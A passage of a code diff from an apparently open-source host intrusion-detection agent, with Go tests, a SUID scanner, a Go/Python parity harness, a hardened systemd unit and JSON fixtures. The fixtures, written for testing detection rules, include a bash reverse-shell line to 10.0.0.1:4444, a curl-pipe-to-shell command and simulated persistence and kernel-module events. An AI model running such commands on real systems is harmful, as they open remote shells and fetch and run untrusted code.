if index == 0 {
|
||||
mod = now.Add(-48 * time.Hour)
|
||||
}
|
||||
for _, suffix := range []string{".json", ".log"} {
|
||||
if err := os.Chtimes(base+suffix, mod, mod); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
// A final capture runs pruning after the test-controlled mtimes are set.
|
||||
if _, err := store.CaptureEvent(alertEvent("2026-07-22T10:00:03Z", model.Alert{SID: 100099, Severity: "MEDIUM", Signature: "test", Classtype: "test", Key: "last", Detail: "last"})); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
jsonFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.json"))
|
||||
logFiles, _ := filepath.Glob(filepath.Join(store.Dir, "alert-*.log"))
|
||||
if len(jsonFiles) != 2 || len(logFiles) != 2 {
|
||||
t.Fatalf("retained json=%v log=%v", jsonFiles, logFiles)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(store.Dir, "alert-20260720-100000.json")); !os.IsNotExist(err) {
|
||||
t.Fatalf("old snapshot not pruned: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNewPrunesExpiredPairBeforeReadiness(t *testing.T) {
|
||||
directory := t.TempDir()
|
||||
base := filepath.Join(directory, "alert-20200101-000000")
|
||||
old := time.Now().Add(-48 * time.Hour)
|
||||
for _, suffix := range []string{".json", ".log"} {
|
||||
if err := os.WriteFile(base+suffix, []byte("old"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Chtimes(base+suffix, old, old); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
if _, err := New(directory, "/unused", 300, 1); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, suffix := range []string{".json", ".log"} {
|
||||
if _, err := os.Stat(base + suffix); !os.IsNotExist(err) {
|
||||
t.Fatalf("expired %s remains: %v", suffix, err)
|
||||
}
|
||||
}
|
||||
probes, _ := filepath.Glob(filepath.Join(directory, ".snapshot-preflight-*"))
|
||||
if len(probes) != 0 {
|
||||
t.Fatalf("preflight files remain: %v", probes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCaptureRejectsCorruptExistingSnapshot(t *testing.T) {
|
||||
store, err := New(t.TempDir(), "/unused", 10, 30)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
path := filepath.Join(store.Dir, "alert-20260722-101112.json")
|
||||
if err := os.WriteFile(path, []byte("broken"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err = store.CaptureEvent(alertEvent("2026-07-22T10:11:12Z", model.Alert{SID: 1, Severity: "HIGH", Signature: "test", Classtype: "test", Key: "key", Detail: "detail"}))
|
||||
if err == nil {
|
||||
t.Fatal("corrupt snapshot accepted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCollectProcessBuildsPythonCompatibleContext(t *testing.T) {
|
||||
procRoot := t.TempDir()
|
||||
processDir := filepath.Join(procRoot, "42")
|
||||
parentDir := filepath.Join(procRoot, "7")
|
||||
if err := os.MkdirAll(filepath.Join(processDir, "fd"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.MkdirAll(parentDir, 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
files := map[string]string{
|
||||
filepath.Join(processDir, "comm"): "python3\n",
|
||||
filepath.Join(processDir, "cmdline"): "python3\x00/tmp/dropper.py\x00",
|
||||
filepath.Join(processDir, "status"): "Name:\tpython3\nPPid:\t7\nUid:\t1000\t1000\t1000\t1000\n",
|
||||
filepath.Join(processDir, "environ"): "HOME=/tmp\x00LD_PRELOAD=/tmp/hook.so\x00",
|
||||
filepath.Join(parentDir, "comm"): "nginx\n",
|
||||
}
|
||||
for path, content := range files {
|
||||
if err := os.WriteFile(path, []byte(content), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
for path, target := range map[string]string{
|
||||
filepath.Join(processDir, "exe"): "/usr/bin/python3",
|
||||
filepath.Join(processDir, "cwd"): "/tmp",
|
||||
filepath.Join(processDir, "fd", "1"): "socket:[99]",
|
||||
} {
|
||||
if err := os.Symlink(target, path); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
detail := collectProcess(procRoot, 42)
|
||||
if detail.PID != 42 || detail.Comm != "python3" || detail.Cmdline != "python3 /tmp/dropper.py" ||
|
||||
detail.Exe != "/usr/bin/python3" || detail.CWD != "/tmp" || detail.PPID != 7 ||
|
||||
detail.PPIDComm != "nginx" || detail.UID != 1000 || detail.LDPreload != "/tmp/hook.so" ||
|
||||
detail.FDs["1"] != "socket:[99]" {
|
||||
t.Fatalf("detail=%#v", detail)
|
||||
}
|
||||
}
|
||||
|
||||
func alertEvent(timestamp string, alert model.Alert) map[string]any {
|
||||
return map[string]any{
|
||||
"schema": "enodia.event.v1", "event_type": "alert", "timestamp": timestamp,
|
||||
"host": "host-a", "alert": alert,
|
||||
}
|
||||
}
|
||||
|
||||
func mustTime(t *testing.T, value string) time.Time {
|
||||
t.Helper()
|
||||
parsed, err := time.Parse(time.RFC3339Nano, value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return parsed
|
||||
}
|
||||
86
go-agent/internal/system/suid.go
Normal file
86
go-agent/internal/system/suid.go
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package system
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
// ScanSUIDBinaries mirrors Python's deliberately conservative SUID/SGID walk.
|
||||
// The primary root never crosses a filesystem boundary, while explicitly
|
||||
// configured writable mounts are walked separately because tmpfs-backed paths
|
||||
// are exactly where an attacker is likely to drop a privileged binary.
|
||||
//
|
||||
// Individual unreadable entries are ignored. Host filesystems are inherently
|
||||
// racy and permission-sensitive, so one denied subtree must not discard the
|
||||
// useful portion of a scan.
|
||||
func ScanSUIDBinaries(root string, extraDirs []string) []string {
|
||||
if root == "" {
|
||||
root = "/"
|
||||
}
|
||||
result := make(map[string]bool)
|
||||
rootInfo, err := os.Lstat(root)
|
||||
if err == nil {
|
||||
device, ok := deviceID(rootInfo)
|
||||
if ok {
|
||||
walkSUID(root, &device, result)
|
||||
}
|
||||
}
|
||||
for _, directory := range extraDirs {
|
||||
info, err := os.Lstat(directory)
|
||||
if err != nil || !info.IsDir() {
|
||||
continue
|
||||
}
|
||||
walkSUID(directory, nil, result)
|
||||
}
|
||||
paths := make([]string, 0, len(result))
|
||||
for path := range result {
|
||||
paths = append(paths, path)
|
||||
}
|
||||
sort.Strings(paths)
|
||||
return paths
|
||||
}
|
||||
|
||||
func walkSUID(root string, requiredDevice *uint64, result map[string]bool) {
|
||||
stack := []string{root}
|
||||
for len(stack) > 0 {
|
||||
directory := stack[len(stack)-1]
|
||||
stack = stack[:len(stack)-1]
|
||||
entries, err := os.ReadDir(directory)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, entry := range entries {
|
||||
path := filepath.Join(directory, entry.Name())
|
||||
info, err := os.Lstat(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if info.IsDir() {
|
||||
if requiredDevice != nil {
|
||||
device, ok := deviceID(info)
|
||||
if !ok || device != *requiredDevice {
|
||||
continue
|
||||
}
|
||||
}
|
||||
stack = append(stack, path)
|
||||
continue
|
||||
}
|
||||
mode := info.Mode()
|
||||
if mode.IsRegular() && (mode&os.ModeSetuid != 0 || mode&os.ModeSetgid != 0) {
|
||||
result[path] = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func deviceID(info os.FileInfo) (uint64, bool) {
|
||||
stat, ok := info.Sys().(*syscall.Stat_t)
|
||||
if !ok {
|
||||
return 0, false
|
||||
}
|
||||
return uint64(stat.Dev), true
|
||||
}
|
||||
47
go-agent/internal/system/suid_test.go
Normal file
47
go-agent/internal/system/suid_test.go
Normal file
|
|
@ -0,0 +1,47 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package system
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestScanSUIDBinariesFindsPrivilegedRegularFiles(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
ordinary := filepath.Join(root, "ordinary")
|
||||
privileged := filepath.Join(root, "nested", "privileged")
|
||||
if err := os.MkdirAll(filepath.Dir(privileged), 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(ordinary, []byte("x"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Chmod(privileged, 0o755|os.ModeSetuid); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := ScanSUIDBinaries(root, nil)
|
||||
if len(got) != 1 || got[0] != privileged {
|
||||
t.Fatalf("unexpected scan: %#v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestScanSUIDBinariesIncludesExtraDirectories(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
extra := t.TempDir()
|
||||
privileged := filepath.Join(extra, "sgid-tool")
|
||||
if err := os.WriteFile(privileged, []byte("x"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.Chmod(privileged, 0o755|os.ModeSetgid); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got := ScanSUIDBinaries(root, []string{extra})
|
||||
if len(got) != 1 || got[0] != privileged {
|
||||
t.Fatalf("unexpected extra-dir scan: %#v", got)
|
||||
}
|
||||
}
|
||||
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env python3
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Compare ported Go poll detectors with the Python reference oracle."""
|
||||
"""Compare ported Go poll and exec-rule output with the Python oracle."""
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
|
|
@ -14,18 +14,26 @@ from unittest.mock import patch
|
|||
ROOT = Path(__file__).resolve().parents[1]
|
||||
sys.path.insert(0, str(ROOT))
|
||||
|
||||
from enodia_sentinel import __version__, event # noqa: E402
|
||||
from enodia_sentinel import __version__, correlation, event, ruleops # noqa: E402
|
||||
from enodia_sentinel.config import Config # noqa: E402
|
||||
from enodia_sentinel.detectors import ( # noqa: E402
|
||||
credential_access,
|
||||
deleted_exe,
|
||||
egress,
|
||||
first_seen,
|
||||
input_snooper,
|
||||
ld_preload,
|
||||
memory_obfuscation,
|
||||
new_listener,
|
||||
new_suid,
|
||||
persistence,
|
||||
reverse_shell,
|
||||
stealth_network,
|
||||
)
|
||||
from enodia_sentinel.events.exec_event import ExecEvent # noqa: E402
|
||||
from enodia_sentinel.events.rules import ExecRuleEngine # noqa: E402
|
||||
from enodia_sentinel.events.syscall_event import SyscallEvent # noqa: E402
|
||||
from enodia_sentinel.events.syscall_rules import SyscallRuleEngine # noqa: E402
|
||||
from enodia_sentinel.system import MemoryMap, Socket, SystemState # noqa: E402
|
||||
|
||||
HOST = "parity-host"
|
||||
|
|
@ -78,7 +86,16 @@ def main() -> int:
|
|||
processes.append(FixtureProcess(**process))
|
||||
sockets = [Socket(**item) for item in fixture_data.get("sockets", [])]
|
||||
cfg = Config()
|
||||
state = SystemState(processes=processes, sockets=sockets)
|
||||
state = SystemState(
|
||||
processes=processes,
|
||||
sockets=sockets,
|
||||
listener_baseline=set(fixture_data["listener_baseline"])
|
||||
if "listener_baseline" in fixture_data else None,
|
||||
suid_baseline=set(fixture_data["suid_baseline"])
|
||||
if "suid_baseline" in fixture_data else None,
|
||||
suid_binaries=fixture_data.get("suid_binaries"),
|
||||
persist_since=fixture_data.get("persist_since"),
|
||||
)
|
||||
alerts = list(reverse_shell.detect(state, cfg))
|
||||
with patch.object(ld_preload, "Path") as path_class:
|
||||
preload = path_class.return_value
|
||||
|
|
@ -91,6 +108,24 @@ def main() -> int:
|
|||
alerts.extend(stealth_network.detect(state, cfg))
|
||||
alerts.extend(memory_obfuscation.detect(state, cfg))
|
||||
alerts.extend(egress.detect(state, cfg))
|
||||
first_seen_data = {
|
||||
"schema": "enodia.first_seen.v1",
|
||||
"initialized": fixture_data.get("first_seen_initialized", False),
|
||||
"public_destinations": fixture_data.get("first_seen_public_destinations", {}),
|
||||
"listener_ports": fixture_data.get("first_seen_listener_ports", {}),
|
||||
}
|
||||
with patch.object(first_seen, "_load", return_value=first_seen_data), \
|
||||
patch.object(first_seen, "_save"):
|
||||
alerts.extend(first_seen.detect(state, cfg))
|
||||
alerts.extend(new_listener.detect(state, cfg))
|
||||
with patch.object(persistence, "_iter_files", return_value=list(fixture_data.get("persistence_files", {}))):
|
||||
with patch.object(
|
||||
persistence.os, "lstat",
|
||||
side_effect=lambda path: SimpleNamespace(
|
||||
st_mtime=fixture_data["persistence_files"][path]),
|
||||
):
|
||||
alerts.extend(persistence.detect(state, cfg))
|
||||
alerts.extend(new_suid.detect(state, cfg))
|
||||
python_alerts = [
|
||||
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
|
||||
for alert in alerts
|
||||
|
|
@ -108,8 +143,204 @@ def main() -> int:
|
|||
if status.get("schema") != "enodia.status.v1" or status.get("version") != __version__:
|
||||
print("Go status schema/version drifted from Python", file=sys.stderr)
|
||||
return 1
|
||||
|
||||
# Exec rules use a separate replay mode so the event model and rule engine
|
||||
# stay independently testable before the Go side has a kernel event source.
|
||||
exec_fixture = ROOT / "tests/fixtures/go/exec-events.json"
|
||||
exec_rules = ROOT / "tests/fixtures/go/exec-rules.toml"
|
||||
exec_config = ROOT / "tests/fixtures/go/exec-rules-config.toml"
|
||||
exec_command = [
|
||||
"go", "run", "./cmd/enodia-sentinel-go",
|
||||
"--config", str(exec_config),
|
||||
"--exec-events", str(exec_fixture),
|
||||
"--host", HOST, "--timestamp", TIMESTAMP,
|
||||
]
|
||||
exec_result = subprocess.run(
|
||||
exec_command, cwd=ROOT / "go-agent", env=env,
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
if exec_result.returncode:
|
||||
print(exec_result.stderr, file=sys.stderr, end="")
|
||||
return exec_result.returncode
|
||||
go_exec_alerts = [
|
||||
json.loads(line) for line in exec_result.stdout.splitlines() if line
|
||||
]
|
||||
|
||||
exec_cfg = Config()
|
||||
exec_cfg.exec_rules_file = str(exec_rules)
|
||||
exec_engine = ExecRuleEngine.load(exec_cfg.exec_rules_file)
|
||||
exec_alerts = []
|
||||
for raw in json.loads(exec_fixture.read_text()):
|
||||
raw["argv"] = tuple(raw.get("argv", ()))
|
||||
exec_alerts.extend(exec_engine.match(ExecEvent(**raw)))
|
||||
python_exec_alerts = [
|
||||
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
|
||||
for alert in exec_alerts
|
||||
]
|
||||
if go_exec_alerts != python_exec_alerts:
|
||||
print("Go/Python exec-rule parity mismatch", file=sys.stderr)
|
||||
print(json.dumps(
|
||||
{"go": go_exec_alerts, "python": python_exec_alerts}, indent=2,
|
||||
), file=sys.stderr)
|
||||
return 1
|
||||
|
||||
syscall_fixture = ROOT / "tests/fixtures/go/syscall-events.json"
|
||||
syscall_command = [
|
||||
"go", "run", "./cmd/enodia-sentinel-go",
|
||||
"--config", str(ROOT / "tests/fixtures/go/no-such-config.toml"),
|
||||
"--syscall-events", str(syscall_fixture),
|
||||
"--host", HOST, "--timestamp", TIMESTAMP,
|
||||
]
|
||||
syscall_result = subprocess.run(
|
||||
syscall_command, cwd=ROOT / "go-agent", env=env,
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
if syscall_result.returncode:
|
||||
print(syscall_result.stderr, file=sys.stderr, end="")
|
||||
return syscall_result.returncode
|
||||
go_syscall_alerts = [
|
||||
json.loads(line) for line in syscall_result.stdout.splitlines() if line
|
||||
]
|
||||
syscall_engine = SyscallRuleEngine()
|
||||
syscall_alerts = []
|
||||
for raw in json.loads(syscall_fixture.read_text()):
|
||||
args = list(raw.pop("args", ()))
|
||||
args.extend([0] * (6 - len(args)))
|
||||
syscall_alerts.extend(syscall_engine.match(SyscallEvent(
|
||||
**raw,
|
||||
arg0=args[0], arg1=args[1], arg2=args[2],
|
||||
arg3=args[3], arg4=args[4], arg5=args[5],
|
||||
)))
|
||||
python_syscall_alerts = [
|
||||
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
|
||||
for alert in syscall_alerts
|
||||
]
|
||||
if go_syscall_alerts != python_syscall_alerts:
|
||||
print("Go/Python syscall-rule parity mismatch", file=sys.stderr)
|
||||
print(json.dumps(
|
||||
{"go": go_syscall_alerts, "python": python_syscall_alerts}, indent=2,
|
||||
), file=sys.stderr)
|
||||
return 1
|
||||
|
||||
host_fixture = ROOT / "tests/fixtures/go/host-events.json"
|
||||
host_command = [
|
||||
"go", "run", "./cmd/enodia-sentinel-go",
|
||||
"--config", str(ROOT / "tests/fixtures/go/no-such-config.toml"),
|
||||
"--host-events", str(host_fixture),
|
||||
"--host", HOST, "--timestamp", TIMESTAMP,
|
||||
]
|
||||
host_result = subprocess.run(
|
||||
host_command, cwd=ROOT / "go-agent", env=env,
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
if host_result.returncode:
|
||||
print(host_result.stderr, file=sys.stderr, end="")
|
||||
return host_result.returncode
|
||||
go_host_alerts = [
|
||||
json.loads(line) for line in host_result.stdout.splitlines() if line
|
||||
]
|
||||
host_alerts = []
|
||||
for raw in json.loads(host_fixture.read_text()):
|
||||
host_alerts.extend(ruleops.test_event(Config(), raw))
|
||||
python_host_alerts = [
|
||||
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
|
||||
for alert in host_alerts
|
||||
]
|
||||
if go_host_alerts != python_host_alerts:
|
||||
print("Go/Python host-rule parity mismatch", file=sys.stderr)
|
||||
print(json.dumps(
|
||||
{"go": go_host_alerts, "python": python_host_alerts}, indent=2,
|
||||
), file=sys.stderr)
|
||||
return 1
|
||||
|
||||
catalog_command = [
|
||||
"go", "run", "./cmd/enodia-sentinel-go",
|
||||
"--config", str(exec_config), "--rules-list",
|
||||
]
|
||||
catalog_result = subprocess.run(
|
||||
catalog_command, cwd=ROOT / "go-agent", env=env,
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
if catalog_result.returncode:
|
||||
print(catalog_result.stderr, file=sys.stderr, end="")
|
||||
return catalog_result.returncode
|
||||
go_catalog = json.loads(catalog_result.stdout)
|
||||
python_catalog = ruleops.list_rules(exec_cfg)
|
||||
if go_catalog != python_catalog:
|
||||
print("Go/Python rule-catalog parity mismatch", file=sys.stderr)
|
||||
print(json.dumps(
|
||||
{"go": go_catalog, "python": python_catalog}, indent=2,
|
||||
), file=sys.stderr)
|
||||
return 1
|
||||
|
||||
mixed_fixture = ROOT / "tests/fixtures/go/mixed-events.jsonl"
|
||||
mixed_command = [
|
||||
"go", "run", "./cmd/enodia-sentinel-go",
|
||||
"--config", str(exec_config),
|
||||
"--event-stream", str(mixed_fixture),
|
||||
"--host", HOST, "--timestamp", TIMESTAMP,
|
||||
]
|
||||
mixed_result = subprocess.run(
|
||||
mixed_command, cwd=ROOT / "go-agent", env=env,
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
if mixed_result.returncode:
|
||||
print(mixed_result.stderr, file=sys.stderr, end="")
|
||||
return mixed_result.returncode
|
||||
go_mixed_alerts = [
|
||||
json.loads(line) for line in mixed_result.stdout.splitlines() if line
|
||||
]
|
||||
mixed_alerts = []
|
||||
for line in mixed_fixture.read_text().splitlines():
|
||||
if line.strip():
|
||||
mixed_alerts.extend(ruleops.test_event(exec_cfg, json.loads(line)))
|
||||
python_mixed_alerts = [
|
||||
event.from_alert(alert, host=HOST, timestamp=TIMESTAMP)
|
||||
for alert in mixed_alerts
|
||||
]
|
||||
if go_mixed_alerts != python_mixed_alerts:
|
||||
print("Go/Python mixed-event pipeline parity mismatch", file=sys.stderr)
|
||||
print(json.dumps(
|
||||
{"go": go_mixed_alerts, "python": python_mixed_alerts}, indent=2,
|
||||
), file=sys.stderr)
|
||||
return 1
|
||||
|
||||
correlation_fixture = ROOT / "tests/fixtures/go/correlation-incidents.json"
|
||||
correlation_command = [
|
||||
"go", "run", "./cmd/enodia-sentinel-go",
|
||||
"--config", str(exec_config), "--correlate", str(correlation_fixture),
|
||||
]
|
||||
correlation_result = subprocess.run(
|
||||
correlation_command, cwd=ROOT / "go-agent", env=env,
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
if correlation_result.returncode:
|
||||
print(correlation_result.stderr, file=sys.stderr, end="")
|
||||
return correlation_result.returncode
|
||||
go_correlations = json.loads(correlation_result.stdout)
|
||||
python_correlations = [
|
||||
correlation.correlate(incident)
|
||||
for incident in json.loads(correlation_fixture.read_text())
|
||||
]
|
||||
if go_correlations != python_correlations:
|
||||
print("Go/Python correlation parity mismatch", file=sys.stderr)
|
||||
print(json.dumps(
|
||||
{"go": go_correlations, "python": python_correlations}, indent=2,
|
||||
), file=sys.stderr)
|
||||
return 1
|
||||
|
||||
signatures = sorted({record["alert"]["signature"] for record in go_alerts})
|
||||
print(f"parity ok: {len(go_alerts)} alerts across {', '.join(signatures)}")
|
||||
exec_sids = sorted(record["alert"]["sid"] for record in go_exec_alerts)
|
||||
syscall_sids = sorted(record["alert"]["sid"] for record in go_syscall_alerts)
|
||||
host_sids = sorted(record["alert"]["sid"] for record in go_host_alerts)
|
||||
print(
|
||||
f"parity ok: {len(go_alerts)} poll alerts across {', '.join(signatures)}; "
|
||||
f"{len(go_exec_alerts)} exec alerts across SIDs {exec_sids}; "
|
||||
f"{len(go_syscall_alerts)} syscall alerts across SIDs {syscall_sids}; "
|
||||
f"{len(go_host_alerts)} host alerts across SIDs {host_sids}; "
|
||||
f"{len(go_catalog)} catalog records; {len(go_mixed_alerts)} mixed-stream alerts"
|
||||
f"; {sum(len(item) for item in go_correlations)} correlations"
|
||||
)
|
||||
return 0
|
||||
|
||||
|
||||
|
|
|
|||
48
systemd/enodia-sentinel-go-sidecar.service
Normal file
48
systemd/enodia-sentinel-go-sidecar.service
Normal file
|
|
@ -0,0 +1,48 @@
|
|||
[Unit]
|
||||
Description=Enodia Sentinel Go migration validation sidecar
|
||||
After=network.target
|
||||
Documentation=https://github.com/Enodia/enodia-sentinel
|
||||
|
||||
[Service]
|
||||
Type=notify
|
||||
NotifyAccess=main
|
||||
TimeoutStartSec=120
|
||||
# Keep this path independent from enodia-sentinel.service. The sidecar emits
|
||||
# enodia.event.v1 JSONL to the journal and owns only its separate state tree.
|
||||
ExecStart=/usr/bin/env enodia-sentinel-go --config /etc/enodia-sentinel.toml --state-dir /var/lib/enodia-sentinel-go --event-log /var/lib/enodia-sentinel-go/events.jsonl --event-log-max-bytes 67108864 --snapshot-dir /var/lib/enodia-sentinel-go --ebpf-exec --ebpf-syscall
|
||||
Restart=on-failure
|
||||
RestartSec=5
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
StateDirectory=enodia-sentinel-go
|
||||
StateDirectoryMode=0750
|
||||
UMask=0077
|
||||
|
||||
# The embedded CO-RE programs do not need a compiler or writable executable
|
||||
# memory. The broad CAP_SYS_ADMIN fallback keeps tracepoint attachment working
|
||||
# on kernels predating the narrower CAP_BPF/CAP_PERFMON privilege split.
|
||||
ProtectSystem=strict
|
||||
ProtectHome=read-only
|
||||
InaccessiblePaths=-/var/log/enodia-sentinel
|
||||
NoNewPrivileges=yes
|
||||
PrivateDevices=yes
|
||||
PrivateMounts=yes
|
||||
ProtectClock=yes
|
||||
ProtectHostname=yes
|
||||
ProtectKernelLogs=yes
|
||||
ProtectKernelTunables=yes
|
||||
ProtectKernelModules=yes
|
||||
ProtectControlGroups=yes
|
||||
RestrictSUIDSGID=yes
|
||||
RestrictRealtime=yes
|
||||
MemoryDenyWriteExecute=yes
|
||||
LockPersonality=yes
|
||||
RestrictNamespaces=yes
|
||||
RestrictAddressFamilies=AF_UNIX AF_NETLINK
|
||||
SystemCallArchitectures=native
|
||||
CapabilityBoundingSet=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
|
||||
AmbientCapabilities=CAP_SYS_PTRACE CAP_DAC_READ_SEARCH CAP_BPF CAP_PERFMON CAP_SYS_ADMIN CAP_SYS_RESOURCE
|
||||
LimitMEMLOCK=infinity
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
6
tests/fixtures/go/correlation-incidents.json
vendored
Normal file
6
tests/fixtures/go/correlation-incidents.json
vendored
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
[
|
||||
{"first_ts":1000.0,"last_ts":1050.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
|
||||
{"first_ts":2000.0,"last_ts":2010.0,"signatures":["host_rule.suspicious-listener","exec_rule.web-rce","new_listener"]},
|
||||
{"first_ts":3000.0,"last_ts":3601.0,"signatures":["exec_rule.web-rce","host_rule.suspicious-egress"]},
|
||||
{"first_ts":4000.0,"last_ts":4010.0,"signatures":["exec_rule.web-rce"]}
|
||||
]
|
||||
50
tests/fixtures/go/exec-events.json
vendored
Normal file
50
tests/fixtures/go/exec-events.json
vendored
Normal file
|
|
@ -0,0 +1,50 @@
|
|||
[
|
||||
{
|
||||
"pid": 1001,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/tmp/.x/dropper",
|
||||
"argv": []
|
||||
},
|
||||
{
|
||||
"pid": 1002,
|
||||
"ppid": 1001,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/bin/bash",
|
||||
"argv": ["-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"]
|
||||
},
|
||||
{
|
||||
"pid": 1003,
|
||||
"ppid": 55,
|
||||
"uid": 33,
|
||||
"parent_comm": "nginx",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "id"]
|
||||
},
|
||||
{
|
||||
"pid": 1004,
|
||||
"ppid": 1000,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/bin/sh",
|
||||
"argv": ["-c", "curl http://example.invalid/x | sh"]
|
||||
},
|
||||
{
|
||||
"pid": 1005,
|
||||
"ppid": 99,
|
||||
"uid": 1000,
|
||||
"parent_comm": "cron",
|
||||
"filename": "/opt/custom/tool",
|
||||
"argv": ["danger", "now"]
|
||||
},
|
||||
{
|
||||
"pid": 1006,
|
||||
"ppid": 1,
|
||||
"uid": 1000,
|
||||
"parent_comm": "bash",
|
||||
"filename": "/usr/bin/ls",
|
||||
"argv": ["-la"]
|
||||
}
|
||||
]
|
||||
1
tests/fixtures/go/exec-rules-config.toml
vendored
Normal file
1
tests/fixtures/go/exec-rules-config.toml
vendored
Normal file
|
|
@ -0,0 +1 @@
|
|||
exec_rules_file = "../tests/fixtures/go/exec-rules.toml"
|
||||
9
tests/fixtures/go/exec-rules.toml
vendored
Normal file
9
tests/fixtures/go/exec-rules.toml
vendored
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
[[exec_rules]]
|
||||
sid = 190001
|
||||
msg = "Custom replay rule"
|
||||
severity = "medium"
|
||||
classtype = "custom-exec"
|
||||
path_prefixes = ["/opt/custom/"]
|
||||
parent_comm = ["cron"]
|
||||
argv_regex = 'danger\s+now'
|
||||
parent_exclude = ["sshd"]
|
||||
14
tests/fixtures/go/host-events.json
vendored
Normal file
14
tests/fixtures/go/host-events.json
vendored
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
[
|
||||
{"event":"tcp_connect","pid":3001,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":4444,"local_ip":"10.0.0.5","local_port":51510},
|
||||
{"event":"listen","pid":3002,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
|
||||
{"event":"bind","pid":3003,"ppid":1,"uid":1000,"comm":"python3","local_ip":"0.0.0.0","local_port":4444},
|
||||
{"event":"file_write","pid":3004,"ppid":1,"uid":1000,"comm":"python3","path":"/etc/systemd/system/evil.service"},
|
||||
{"event":"chmod","pid":3005,"ppid":1,"uid":0,"comm":"chmod","path":"/etc/cron.d/evil","mode":"0o777"},
|
||||
{"event":"setuid","pid":3006,"ppid":1,"uid":1000,"comm":"python3","target_uid":"0"},
|
||||
{"event":"setgid","pid":3007,"ppid":1,"uid":1000,"comm":"python3","target_gid":"0"},
|
||||
{"event":"accept","pid":3008,"ppid":1,"uid":1000,"comm":"python3","remote_ip":"8.8.8.8","remote_port":"51515","local_ip":"0.0.0.0","local_port":"4444"},
|
||||
{"event":"capset","pid":3009,"ppid":1,"uid":1000,"comm":"python3","capability":"CAP_SYS_ADMIN"},
|
||||
{"event":"module_load","pid":3010,"ppid":1,"uid":0,"comm":"insmod","path":"/tmp/evil.ko","name":"evil"},
|
||||
{"event":"tcp_connect","pid":3011,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"8.8.8.8","peer_port":443},
|
||||
{"event":"tcp_connect","pid":3012,"ppid":1,"uid":1000,"comm":"python3","peer_ip":"10.0.0.2","peer_port":4444}
|
||||
]
|
||||
3
tests/fixtures/go/mixed-events.jsonl
vendored
Normal file
3
tests/fixtures/go/mixed-events.jsonl
vendored
Normal file
|
|
@ -0,0 +1,3 @@
|
|||
